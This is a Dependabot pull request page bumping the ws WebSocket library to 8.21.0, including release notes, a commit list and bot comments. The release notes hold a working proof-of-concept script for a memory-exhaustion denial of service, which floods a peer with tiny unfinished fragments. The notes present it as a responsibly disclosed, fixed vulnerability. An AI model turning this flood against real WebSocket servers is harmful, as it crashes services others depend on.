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⬆️ Bump ws from 8.11.0 to 8.21.0#410

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⬆️ Bump ws from 8.11.0 to 8.21.0#410
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@dependabot dependabot Bot commented on behalf of github May 18, 2026

Bumps ws from 8.11.0 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits
  • bca91ad [dist] 8.21.0
  • 2b2abd4 [security] Limit retained message parts
  • 78eabe2 [security] Add latest vulnerability to SECURITY.md
  • 5d9b316 [dist] 8.20.1
  • c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
  • ce2a3d6 [ci] Test on node 26
  • 58e45b8 [ci] Do not test on node 25
  • 5f26c24 [ci] Run the lint step on node 24
  • 8439255 [dist] 8.20.0
  • d3503c1 [minor] Export the PerMessageDeflate class and header utils
  • Additional commits viewable in compare view

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dependabot Bot commented on behalf of github May 18, 2026

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Please fix the above issues or remove invalid values from dependabot.yml.

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github-actions Bot commented Jun 2, 2026

This PR is stale because it has been open for more than 14 days with no activity. Remove stale label or comment or this will be closed in 14 days.

@dependabot dependabot Bot changed the title ⬆️ Bump ws from 8.11.0 to 8.20.1 ⬆️ Bump ws from 8.11.0 to 8.21.0 Jun 5, 2026
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-8.20.1 branch from 71e6131 to 0b92ab5 Compare June 5, 2026 13:26
Bumps [ws](https://github.com/websockets/ws) from 8.11.0 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.11.0...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.20.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-8.20.1 branch from 0b92ab5 to cf366bf Compare June 5, 2026 13:30
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